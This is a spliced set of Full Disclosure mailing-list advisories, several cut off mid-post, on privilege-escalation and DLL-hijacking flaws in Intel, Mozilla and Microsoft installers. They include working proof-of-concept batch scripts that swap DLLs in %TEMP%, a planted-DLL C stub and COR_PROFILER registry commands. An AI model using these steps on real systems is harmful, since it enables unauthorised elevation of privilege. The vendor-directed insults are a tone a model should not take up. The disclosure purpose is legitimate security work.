2005 runtime that also reached its end-of-life 2016-04-12, which
Microsoft but nevertheless still dares to ship as side-by-side component:

Windows 10 1909

C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6\MSVCR80.dll
C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6\MSVCR80.dll

Windows 7 SP1, with Microsoft Security Essentials installed

C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcm80.dll
C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcp80.dll
C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcr80.dll
C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24ad\msvcm80.dll
C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24ad\msvcp80.dll
C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24ad\msvcr80.dll
C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcm80.dll
C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcp80.dll
C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll


The latest security update for the Visual C++ runtime was published
2011-06-04 and updated the version to 8.0.50727.6195: see
<https://support.microsoft.com/en-us/help/2538242/ms11-025-description-of-the-security-update-for-visual-c-2005-sp1-redi>

The FAQ section of
<http://technet.microsoft.com/en-us/security/bulletin/ms11-025> says:

| In the case where a system has no MFC applications currently installed
| but does have the vulnerable Visual Studio or Visual C++ runtimes
| installed, Microsoft recommends that users install this update as a
| defense-in-depth measure, in case of an attack vector being introduced
| or becoming known at a later time.

Microsoft ships VULNERABLE components with .NET Framework and Windows, then
recommends that their unsuspecting users update them, but fails to update
their crap themselses!
In other words: "quod licet jovi non licet bovi"!

JFTR: another highlight (really: a BLATANT lie) from
  <http://technet.microsoft.com/en-us/security/bulletin/ms11-025> is:

| Recommendation. The majority of customers have automatic updating enabled
| and will not need to take any action because this security update will be
| downloaded and installed automatically.

NO, Windows Update does NOT update the OUTDATED and VULNERABLE Visual C++
runtime shipped with .NET Framework in Windows 7!

The previous security update was published 2009-07-28 and updated
the version to 8.0.50727.4053: see
<https://support.microsoft.com/en-us/help/973544> plus
<https://support.microsoft.com/en-gb/help/969706/ms09-035-vulnerabilities-in-visual-studio-active-template-libraries-co>

Of course the statement from the FAQ section of MS11-025 holds for ATL
applications (where MS09-035 should have an equivalent FAQ entry) and
CRT applications too!

Additionally see the MSKB article
<https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads>
which does NOT even list the MSVCRT 2005 any more!


stay tuned, and FAR AWAY from untrustworthy and insecure software like .NET 
Framework and Windows 7
Stefan Kanthak

PS: <https://msdn.microsoft.com/en-us/vstudio/bb188593.aspx> shows
2017-10-10 as EOL for the separate J# redistributable package.

__

[FD] Executable installers are vulnerable^WEVIL (case 58): Intel® Processor Identification Utility - Windows* Version - arbitrary code execution with escalation of privilege

[Stefan Kanthak]

tion, notice the
   message boxes titled "Vulnerability and Exploit Detector",
   displayed by %TEMP%\ATTRIB.COM or %TEMP%\ATTRIB.EXE
   running elevated!

Alternate attack:
~

Any of the 77+ files extracted into %TEMP% can be modified by
the unprivileged user between creation and use, for example
with a simple batch script as shown below, which is started
any time before the executable installer:

--- intel.cmd ---
@echo off
:WAIT
if not exist "%TEMP%\AI_EXTUI_BIN_*" goto :WAIT
for /D %%? in ("%TEMP%\AI_EXTUI_BIN_*") do set FOOBAR=%%?
rem now replace for example "%FOOBAR%\viewer.exe" with
rem an arbitrary executable
--- EOF ---

As soon as one of these files is executed during installation,
the attacker gains administrative privileges.


Vulnerability #3:
=

Denial of service

Reason: see vulnerability #1


Fix: see vulnerability #1
~

Demonstration/Proof of concept:
~~~

1. Log on with the user account created during Windows setup;

2. Add the NTFS access control entry (D;OIIO;WP;;;WD) meaning
   "deny execution of files for everyone, inheritable to files
   in all subdirectories" to your %TEMP% directory;

3. Download
   
<https://downloadmirror.intel.com/28539/a08/Intel(R)%20Processor%20Identification%20Utility.exe>
   and save it in an arbitrary directory;

4. Execute the just downloaded installation program
   "Intel(R) Processor Identification Utility.exe":
   notice the error messages displayed from Windows
   Installer due to non-executable DLLs written in
   the %TEMP% directory!


Timeline:
=

2019-07-17first vulnerability report sent to vendor

2019-07-18Intel's PSIRT opens case #2208018370

2019-07-28Intel's PSIRT confirms reported vulnerability

2019-08-01second vulnerability report sent to vendor


stay tuned, and FAR away from executable installers!
Stefan Kanthak

PS: wrapping an MSI installer in an executable self-extractor
is COMPLETE nonsense!


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Mozilla's MSI installers: FUBAR (that's spelled "fucked-up beyond all repair")

[Stefan Kanthak]

Hi @ll,

Mozilla finally provides MSI installers for their just released
Firefox 68 and Firefox 68 ESR for Windows:
<https://archive.mozilla.org/pub/firefox/releases/68.0/win32/de/Firefox%20Setup%2068.0.msi>
<https://archive.mozilla.org/pub/firefox/releases/68.0esr/win32/de/Firefox%20Setup%2068.0esr.msi>

These MSI installers are but DEFECTIVE, VULNERABLE and a bluff:
Mozilla just wrapped their (UPX-compressed) 7-zip self-extractors,
which unpack the final NSIS installer to %TEMP% and run it from
there, preserving but all their already reported deficiencies and
vulnerabilities: see (among others)
<https://seclists.org/fulldisclosure/2018/Feb/58>
<https://seclists.org/fulldisclosure/2016/Jun/27>

Demonstration:
~~
In the user account created during Windows setup, add the NTFS
ACL "(D;OIIO;WP;;;WD)" meaning "deny execution of files for
everybody, inheritable to files in all subdirectories" to your
%TEMP%\ directory, then run the MSI installer.

As soon as the error dialog "7-Zip: (x) Access Denied!" is shown
peek into %SystemRoot%\Installer\ and your %TEMP%\ directory:

- the most recent "%SystemRoot%\Installer\MSI<4 hex digits>.tmp"
  is the UPX-compressed 7-zip self-extractor which is wrapped in
  the bogus MSI installer;

- this 7-zip self-extractor is run (elevated!) with the following
  command line:
  MSI*.tmp /S /TaskbarShortcut=true /DesktopShortcut=true 
/StartMenuShortcut=true /MaintenanceService=true
/RemoveDistribution=true /PreventRebootRequired=false /OptionalExtensions=true 
/LaunchedFromMSI

- it creates an UNPROTECTED subdirectory %TEMP%\7zS<8 hex digits>\
  which inherits the NTFS ACL from its parent %TEMP%\, thus
  granting full access for the (unprivileged) user account, who
  can tamper with the extracted files in any way, then runs (here:
  tries to run) the extracted "%TEMP%\7zS<8 hex digits>\setup.exe"
  elevated.


stay tuned, and FAR away from Mozilla's crap!
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 59): we only fix every other vulnerability

[Stefan Kanthak]

od@type_info@@QAEXXZ=_dummy
   ...
--- EOF ---

3. create the following text file:

--- officesips.c ---
#include 

BOOL WINAPI _DllMainCRTStartup(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID 
lpvReserved)
{
MessageBoxW((HWND) NULL, L"pwned!", L"pwned!", MB_ICONERROR);
return TRUE;
}

DWORD dummy = 0;
--- EOF ---

4. compile the source file created in the previous step:

   CL.exe /c /Tcofficesips.c

5. link the object file compiled in the previous step using the
   module definition files generated before:

   LINK.exe /DEF:MSVCR100.def /DEFAULTLIB:user32.dll /DLL 
/ENTRY:_DllMainCRTStartup /OUT:MSVCR100.dll /SUBSYSTEM:Windows
officesips.obj
   LINK.exe /DEF:MSVCP140.def /DEFAULTLIB:user32.dll /DLL 
/ENTRY:_DllMainCRTStartup /OUT:MSVCP140.dll /SUBSYSTEM:Windows
officesips.obj
   LINK.exe /DEF:VCRuntime140.def /DEFAULTLIB:user32.dll /DLL 
/ENTRY:_DllMainCRTStartup /OUT:VCRuntime140.dll /SUBSYSTEM:Windows
officesips.obj

6. add the directory (I use the CWD here) where you built the
   3 DLLs to your PATH environment variable, for example via:

   REG.EXE ADD HKCU\Environment /V PATH /T REG_EXPAND_SZ /D "%CD%" /F

7. start an elevated command prompt and run the PATH command:
   notice the directory added to the PATH in the previous step
   in the printed output.

8. run the command lines to register VBE7.dll, MSOSIP.DLL and
   MSOSIPX.dll: notice the message boxes displayed from the
   previously built DLLs!

   REGSVR32.exe "%ProgramFiles%\vbe7.dll"
   REGSVR32.exe "%ProgramFiles%\msosip.dll"
   REGSVR32.exe "%ProgramFiles%\msosipx.dll"


stay tuned
Stefan Kanthak


Timeline:
~

2018-05-29vulnerability report sent to vendor

2018-05-30vendor acknowledges receipt, opens case 45733

2018-10-18answer from vendor: "The product was fixed."

2018-10-21followup sent to vendor:
  "NO, the product is NOT fixed.
   You fixed only the vulnerable self-extractor!"

2018-10-23reply from vendor:
  "I will forward your feedback to the Engineering Team
   responsible."

2018-11-06reply from vendor:
  "We are closing this case as a Duplicate of one of
   your earlier cases, 37732, which was fixed with an
   Advisory based on a Defense in Depth method."

2018-11-06"OUCH!
   Case 37732 was %SystemRoot%\Temp\OSE*.exe, running
   under SYSTEM account, loads a bunch of DLLs from its
   application directory, which is writable by unprivileged
   users. This is COMPLETELY unrelated."

  no more reply from BRAINDEAD vendor!

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Escalation of privilege with Intel Rapid Storage User Interface

[Stefan Kanthak]

Hi @ll,

this is the second part of
<https://seclists.org/fulldisclosure/2018/Nov/45>

Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver
for Windows 10 and Windows Server 2016, version 16.0.2.1086 (Latest),
released 2/21/2018, available from
<https://downloadcenter.intel.com/download/27681/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>,
as well as the previous version 15.9.0.1015 (Previously Released),
released 11/14/2017, available from
<https://downloadcenter.intel.com/download/27400/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>,
the la(te)st version supporting Windows 7 and Windows 8.1,
are vulnerable: they allow arbitrary code execution WITH escalation
of privilege via the RST User Interface program IAStorUI.exe.

CVSS score: 7.5/HIGHCVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

On x64 processor architecture this program is installed as
"C:\Program Files (x86)\Intel\Intel(R) Rapid Storage Technology\IAStorUI.exe",
and on x86 processor architecture it is installed as
"C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorUI.exe",
i.e. it is a 32-bit program.


Vulnerability:
==

IAStorUI.exe depends on .NET Framework 4.x; its embedded "application
manifest" specifies "requireAdministrator", so Windows requests
elevation: "protected" administrators are prompted for consent,
unprivileged standard users are prompted for an administrator password.


All versions of .NET Framework support to load a COM object as code
profiler, enabled via two or three environment variables, thus allowing
arbitrary code execution WITH elevation of privilege through IAStorUI.exe!

>From <https://msdn.microsoft.com/en-us/library/bb384393.aspx>

| A profiler DLL is an unmanaged DLL that runs as part of the
| common language runtime execution engine. As a result, the code
| in the profiler DLL is not subject to the restrictions of managed
| code access security. The only limitations on the profiler DLL are
| those imposed by the operating system on the user who is running
| the profiled application.

>From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>:

| When both environment variable checks pass, the CLR creates an
| instance of the profiler in a similar manner to the COM
| CoCreateInstance function. The profiler is not loaded through a
| direct call to CoCreateInstance. Therefore, a call to CoInitialize,
| which requires setting the threading model, is avoided.


Demonstration/proof of concept:
~~~

In the user account created during Windows setup perform the
following actions:

1. fetch
   <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
   and save it in an arbitrary directory, for example in %TEMP% or
   %USERPROFILE%\Downloads\;

2. start a command prompt in this directory as UNELEVATED (standard)
   user;

2.a set the users environment variables:

   SET COR_ENABLE_PROFILING=1
   SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
   SET COR_PROFILER_PATH=%CD%\SENTINEL.DLL

   JFTR: the CLSID doesn't matter, use any CLSID you like!

   REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_ENABLE_PROFILING /T REG_SZ 
/D 1 /F
   REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_PROFILER /T REG_SZ /D 
%COR_PROFILER% /F
   REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_PROFILER_PATH /T REG_SZ /D 
"%COR_PROFILER_PATH%" /F

2.b. (OPTIONALLY) register SENTINEL.DLL as COM object:

   SET 
KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\%COR_PROFILER%\InProcServer32

   REG.exe ADD %KEY% /VE /T REG_SZ /D "%COR_PROFILER_PATH%" /F
   REG.exe ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

3. execute the installed IAStorUI.exe: notice the message boxes
   displayed from SENTINEL.DLL running with "integrity level: high"


NOTE: the precondition "user account created during Windows setup"
  is met on typical installations of Windows: according to
  Microsoft's own security intelligence reports, about 1/2 to
  3/4 of the about 600 million Windows installations which send
  telemetry data have only ONE active user account.
  <https://www.microsoft.com/security/sir>


Fixes:
~~

1. don't use .NET Framework, at least not in executables which
   are run elevated!

2. NEVER specify "requireAdministrator" or "highestAvailable" in
   the "application manifest" of an executable which uses .NET
   Framework.


Mitigations:


1. remove all applications installed (not just) by Intel with
   their drivers that depend on .NET framework and run elevated.

   JFTR: there are LOADS of such crap!

2. Practice STRICT privilege separation: use your privileged
   "Administrator" account (especially the account created during
   Windows setup) ONLY for administrative tasks, and COMPLETELY
   separa

[FD] [CVE-2018-3635] Executable installers are vulnerable^WEVIL (case 59): arbitrary code execution WITH escalation of privilege via Intel Rapid Storage Technology User Interface and Driver

[Stefan Kanthak]

Hi @ll,

the executable installer of the
Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver,
version 15.9.0.1015 (LATEST for Windows 7), released 11/14/2017, available
from <https://downloadmirror.intel.com/27400/eng/SetupRST.exe> via
<https://downloadcenter.intel.com/download/27400/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>
is (SURPRISE!) vulnerable!

CVSS score: 7.5/HIGHCVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

See Intel's security advisory SA-00153
<https://www.intel.com/content/www/us/en/security-center/advisory/INTEL-SA-00153.html>


Vulnerability #1:
=

Although running with ELEVATED (administrative) privileges
(the "application manifest" embedded in SetupRST.exe specifies
"requireAdministrator"), on STANDARD installations of Windows,
i.e. where the user account created during Windows setup is used,
the executable installer creates an UNPROTECTED subdirectory
IIF.tmp in the user's %TEMP% directory.

For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/29.html>

The subdirectory IIF.tmp inherits the NTFS ACLs from its
parent %TEMP%, allowing "full access" for the unprivileged
(owning) user, who can replace/overwrite the DLLs

%TEMP%\IIF.tmp\Resource.dll
%TEMP%\IIF.tmp\??-??\IntelCommon.dll

later loaded and executed by the installer between their creation
and use.
Since these DLLs are executed with administrative privileges, this
vulnerability results in arbitrary code execution WITH escalation
of privilege.

NOTE: the precondition "user account created during Windows setup"
  is met on typical installations of Windows: according to
  Microsoft's own security intelligence reports, about 1/2 to
  3/4 of the about 600 million Windows installations which send
  telemetry data have only ONE active user account.
  <https://www.microsoft.com/security/sir>


Demonstration/proof of concept:
~~~

1. visit <https://skanthak.homepage.t-online.de/sentinel.html>,
   then download
   <https://skanthak.homepage.t-online.de/skanthak/download/SENTINEL.DLL>
   and save it in an arbitrary directory;

2. save the following batch script in the same directory:

   --- IIF.CMD ---
   :WAIT
   @If Not Exist "%TEMP%\IIF.tmp" Goto :WAIT
   For /D %%! In ("%TEMP%\IIF.tmp") Do Set IIFTMP=%%!
   Copy /Y SENTINEL.DLL "%IIFTMP%\Resource.dll"
   For /R "%IIFTMP%" %%! In (IntelCommon.dll) Do Copy /Y SENTINEL.DLL "%%!"
   Set IIFTMP=
   --- EOF ---

3. start the batch script per double-click;

4. execute SetupRST.exe: notice the message boxes displayed from
   the replaced DLLs.


Fixes:
~~

1. ALWAYS specify a PROPER "security descriptor" when you create
   (temporary) files or directories in potentially unsafe (i.e.
   user-writable) paths like the %TEMP% directory!
   See <https://msdn.microsoft.com/en-us/library/aa363855.aspx>
   and use the second parameter of CreateDirectory() to properly
   restrict the permissions when running elevated!

2. NEVER load resource(-only) DLLs for execution!
   See <https://msdn.microsoft.com/en-us/library/ms684179.aspx>
   and use the third parameter of LoadLibraryEx() to specify
   LOAD_LIBRARY_AS_DATAFILE or LOAD_LIBRARY_AS_IMAGE_RESOURCE


Mitigations:


1. DONT use executable installers; stay far away from such
   eternally vulnerable crap!

2. NEVER run executable installers in unsafe environments,
   especially NEVER from UNSAFE directories like "%TEMP%\" or
   "%USERPROFILE%\Downloads\"

3. DISABLE execution of files (via NTFS ACL, as shown below) in
   the systems and every users %TEMP% and every %USERPROFILE%
   (see <https://skanthak.homepage.t-online.de/SAFER.html>)!

4. Practice STRICT privilege separation: use a your privileged
   "Administrator" account (especially the account created during
   Windows setup) ONLY for administrative tasks, and COMPLETELY
   separate unprivileged user accounts, with elevation requests
   DISABLED, for your everyday/regular work.



Vulnerability #2:
=

A variant of #1, resulting in denial of service.


Demonstration/proof of concept:
~~~

1. add the NTFS access control list entry (D;OIIO;WP;;;WD) meaning
   "deny execution of files in this directory for everyone,
   inheritable to all subdirectories" to the (user's) %TEMP%
   directory.

   NOTE: this does NOT need administrative privileges!

2. execute SetupRST.exe: notice the message box
   "error loading language resource" displayed.


Fix:


Create (temporary) files and directories with PROPER permissions!
See above.


stay tune

[FD] Executable installers are vulnerable^WEVIL (case 57): arbitrary code execution WITH escalation of privilege viaIntel Extreme Tuning Utility

[Stefan Kanthak]

Hi @ll,

the executable installer of the Intel Extreme Tuning Utility,
version 6.4.1.23 (Latest), released 5/18/2018, available from
<https://downloadmirror.intel.com/24075/eng/XTU-Setup.exe> via
<https://downloadcenter.intel.com/download/24075/Intel-Extreme-Tuning-Utility-Intel-XTU->
is (SURPRISE!) vulnerable.

CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H


Vulnerability #0:
=

The executable installer XTU-Setup.exe comes with at least two
OUTDATED and UNSUPPORTED runtime components from Microsoft, one
of which has known and long fixed vulnerabilities!

Component #1:
~

Microsoft SQL Server Compact 3.5 SP2 ENU

This is end-of-life since 4/10/2018; see
<https://support.microsoft.com/en-us/lifecycle/search?alpha=Microsoft+SQL+Server+Compact+3.5>


Component #2:
~

Microsoft Visual C++ 2005 Runtime 8.0.50727.762

Visual C++ 2005 is end-of-life since 4/12/2016, more than TWO
years ago; see
<https://support.microsoft.com/en-us/lifecycle/search?alpha=Microsoft+Visual+C%2B%2B+2005>

The latest Visual C++ 2005 Runtime is version 8.0.50727.4940,
published 4/12/2011, updated, 6/14/2011, i.e. SEVEN+ years ago.
See <https://support.microsoft.com/en-us/help/2467175>
and 
<https://support.microsoft.com/en-us/help/2538242/ms11-025-description-of-the-security-update-for-visual-c-2005-sp1-redi>

Also see
<https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads>
<https://support.microsoft.com/en-us/help/2661358/minimum-service-pack-levels-for-microsoft-vc-redistributable-packages>

The icing on the cake: XTU-Setup.exe tries to install the OUTDATED
and VULNERABLE Microsoft Visual C++ 2005 Runtime 8.0.50727.762 even
if a newer version is already installed!

That's a pretty good example for AWFUL BAD software engineering!


Vulnerability #1:
=

The vcredist_x86.exe package included in XTU-Setup.exe and executed
by it was built with Wix toolset 3.6

See <http://seclists.org/bugtraq/2016/Jan/105>
and <https://www.firegiant.com/blog/2016/1/20/wix-v3.10.2-released/>

I recommend to exercise ENHANCED INTERROGATIONS with Microsoft about
their SLOPPY attitude to software security: the fixes were released
about 2.5 years ago, in cooperation with Microsoft, FireGiant and me,
but Microsoft failed or was to lazy to update their installer packages.


Demonstrations/proof of concepts:
~

These are for STANDARD installations of Windows, i.e. where the
user account created during Windows setup is used.
This precondition is met on typical installations of Windows:
according to Microsoft's own security intelligence reports, about
1/2 to 3/4 of the about 600 million Windows installations which
send telemetry data have only ONE active user account.
See <https://www.microsoft.com/security/sir>


A) for the arbitrary code execution with elevation of privilege
---

1. follow the instructions from
   <https://skanthak.homepage.t-online.de/minesweeper.html>
   and build the non-forwarding DLLDUMMY.DLL in your %TEMP%
   directory;

2. create the following batch script:

   --- wixstdba.cmd ---
   :WIXSTDBA
   @if not exist 
"%temp%\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\.ba1\wixstdba.dll" goto :WIXSTDBA
   copy "%TEMP%\dlldummy.dll" 
"%temp%\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\.ba1\wixstdba.dll"
   --- EOF ---

3. run the batch script per double click;

4. run XTU-Setup.exe: notice the message boxes displayed from the
   WIXSTDBA.DLL copied into the subdirectory of %TEMP%.


B) for the denial of service


1. add the NTFS access control list entry (D;OIIO;WP;;;WD) meaning
   "deny execution of files in this directory for everyone,
   inheritable to all subdirectories" to the (user's) %TEMP%
   directory.

   NOTE: this does NOT need administrative privileges!

2. execute XTU-Setup.exe: notice the message box displaying the
   failure of the installation about 3/4 way through.


STAY FAR AWAY FROM INTEL'S VULNERABLE CRAPWARE!


stay tuned
Stefan Kanthak


Timeline


2017-09-04vulnerability report sent to Intel

  no answer, not even an acknowledgement of receipt

2018-03-22vulnerability report resent to Intel

2018-05-18updated installers published by Intel, but no security
  advisory

2018-06-05vulnerability report for the updated but still vulnerable
  installers sent to Intel

2018-09-11security advisory published by Intel:
  
<https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00162.html>

2018-09-26own security advisory published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 57): installation of security updates fails on Windows Embedded POSReady 2009

[Stefan Kanthak]

   What happened to the "trustworthy computing" initiative?


2.e) But WAIT, it's not over yet:

C:\Dokumente und 
Einstellungen\Administrator\Downloads>ie8-windowsxp-kb4343205-x86-embedded-deu.exe
 /X

 The /X option extracts the payload into an arbitrary directory; the
 default is the current directory, i.e.
 "C:\Dokumente und Einstellungen\Administrator\Downloads"

 This yields the error message box

| Dekomprimierung fehlgeschlagen
|
| (X) Datei ist beschädigt
|
|   [  OK  ]

 WTF? The file is supposed to be corrupt?
 It but installed successful, its checksums are correct!


JFTR: without the /X option, the executable self-extractor SFXCAB
  creates a directory with a random, up to 32 characters "short"
  name in the root directory of the drive with the most free space.


2.f) Let's see whether this error can be cured too by using a shorter path:

C:\Dokumente und 
Einstellungen\Administrator\Downloads>ie8-windowsxp-kb4343205-x86-embedded-deu.exe
 /X C:\Windows\Temp

 SUCCESS!

| Dekomprimierung abgeschlossen
|  ^
| /!\ Dekomprimierung abgeschlossen
| ¯¯¯
|   [  OK  ]

C:\Dokumente und Einstellungen\Administrator\Downloads>dir C:\Windows\Temp

 Volume in Laufwerk C: hat keine Bezeichnung.
 Volumeseriennummer: 8CDE-6034

 Verzeichnis von C:\Windows\Temp

01.09.2018  23:18   .
01.09.2018  23:18   ..
01.09.2018  23:18   SP3QFE
01.09.2018  23:18   update
01.02.2018  23:2818.808  spmsg.dll
01.02.2018  23:28   234.872  spuninst.exe
   2 Datei(en)253.680 Bytes
   4 Verzeichnis(se),  8.396.988.416 Bytes frei


stay tuned
Stefan Kanthak


PS: for the other bugs and vulnerabilities in Microsoft's SFXCAB
see <http://seclists.org/fulldisclosure/2016/Jan/48> and/or
<http://seclists.org/fulldisclosure/2018/Jul/72>


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 57): all the latest MSVCRT installers allow escalation of privilege

[Stefan Kanthak]

nt.com/blog/2016/1/20/wix-v3.10.2-released/>


Take 6:
~~~

The embedded "application manifest" can also be found and printed:

| C:\Users\Stefan\Downloads>FIND.exe "WiX" vc_redist.x86.exe
...
| WiX Toolset Bootstrapper
...
| 
  ~

The executable will be run with the credentials of its caller.

This but means that all files extracted/copied to %TEMP% and below
(or any other subdirectory) are UNPROTECTED, every process running
under the same user account can tamper with these files!


Take 7:
~~~

| C:\Users\Stefan\Downloads>vc_redist.x86.exe

Running on a fully patched Windows 7 SP1, the program loads at least
the following DLLs from its "application directory", executing their
entry point routine with the credentials of the caller:

UXTheme.dll, Cabinet.dll, MSI.dll, Version.dll,
WindowsCodecs.dll, MSLS31.dll, PropSys.dll, NTMARTA.dll,
CryptSP.dll, RPCRtRemote.dll, Secur32.dll, MPR.dll

For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/426.html> and
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html>.

See <https://skanthak.homepage.t-online.de/minesweeper.html> for the
instructions to build these DLLs.
For the following takes, I assume that these DLLs have been placed
into the user's "Downloads" directory.


Take 7, continued:
~~

Running with the callers credentials, the program creates a
subdirectory {2019b6a0-8533-4a04-ac0e-b2c10bdb9841} (notice the
HARD-CODED name) in the user's %TEMP% directory: this subdirectory
inherits the NTFS ACL from its parent %TEMP%, allowing full access
for the current/owning user.
Under this subdirectory it creates several more subdirectories and
extracts multiple files, especially wixstdba.dll, which it loads
afterwards, and a copy of itself, which it executes afterwards,
ELEVATED:

%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.ba1\wixstdba.dll
%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.be\vc_redist.x86.exe

For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/29.html>


Take 7, continued:
~~

Due to the inherited full access any process running in the same
user account can tamper with these unprotected files between their
creation and use, for example with the following batch scripts:

--- wixstdba.cmd ---
:wixstdba
@If Not Exist "%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.ba1\1028" Goto 
:wixstdba

Copy "%USERPROFILE%\Downloads\dlldummy.dll" 
"%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.ba1\wixstdba.dll"
--- eof ---

--- wixstdbe.cmd ---
:wixstdbe
@If Not Exist "%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.be" Goto :wixstdbe

For %%! In (Version MSI Cabinet UXTheme WindowsCodecs MSLS31 PropSys NTMARTA 
CryptSP RPCRtRemote Secur32 MPR) Do Copy
"%USERPROFILE%\Downloads\%%!.dll" 
"%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.be"
--- eof ---


Take 8:
~~~

Running ELEVATED, the program's copy
%TEMP%\{2019b6a0-8533-4a04-ac0e-b2c10bdb9841}\.be\vc_redist.x86.exe
loads the rogue DLLs copied by the second batch script, executing
their entry point routines with ELEVATED rights: GAME OVER!


Mitigation:
~~~

* DONT use executable installers!

* NEVER run executable installers in unsafe environments!


Fix:


* DUMP executable installers, use *.MSI or *.INF plus *.CAB!


stay tuned
Stefan Kanthak


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 56): arbitrary code execution WITH escalation of privilege via rufus*.exe

[Stefan Kanthak]

t; pasted into the command
   prompt window, and the subsequent dialog box stating that
   another instance of this crap is already running.


Demonstration/proof of concept #2b:
---

1. Run the following command lines in the still open command
   prompt:

   ATTRIB.exe -R rufus.com
   ERASE rufus.com
   SET NoDefaultCurrentDirectoryInExePath=*

2. Run the command lines

  "%USERPROFILE%\Downloads\rufus-3.1.exe"
  "%USERPROFILE%\Downloads\rufus-3.1p.exe"

3. Notice the error messages

   | "rufus.com" is not recognized as an internal or external command,
   | operable program or batch file.

   from the command prompt, and the complete failure of this crap.


Demonstration/proof of concept #2c:
---

1. Add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of
   files in this directory for everyone, inheritable to files in
   subdirectories" to the current working directory
   %SystemDrive%\CRAPWARE.

2. Run the vulnerable applications: notice their complete failure,
   they neither display their window nor any error message!

3. View the access rights of the file "rufus.com" created in the
   CWD.


stay tuned, and FAR AWAY from such vulnerable and defective crap
Stefan Kanthak


[1] on Windows, every developer past absolute beginner uses the
fourth argument of CreateFile()
<https://msdn.microsoft.com/en-us/library/aa363858.aspx>
or the second argument of CreateDirectory()
<https://msdn.microsoft.com/en-us/library/aa363855.aspx>
to specify a "security descriptor" with the desired and needed
access rights, at least and especially when running privileged.

[2] the ONE and ONLY user account created during Windows setup is an
administrator account, and it is used by the vast majority of
Windows users for their everyday work: according to Microsoft's
own telemetry data, as published in their "Security Intelligence
Reports" <https://www.microsoft.com/security/sir/default.aspx>
about 1/2 to 3/4 of all (some 600 million) Windows installations
report only one active user account.

___
Sent through the Full Disclosure mailing list
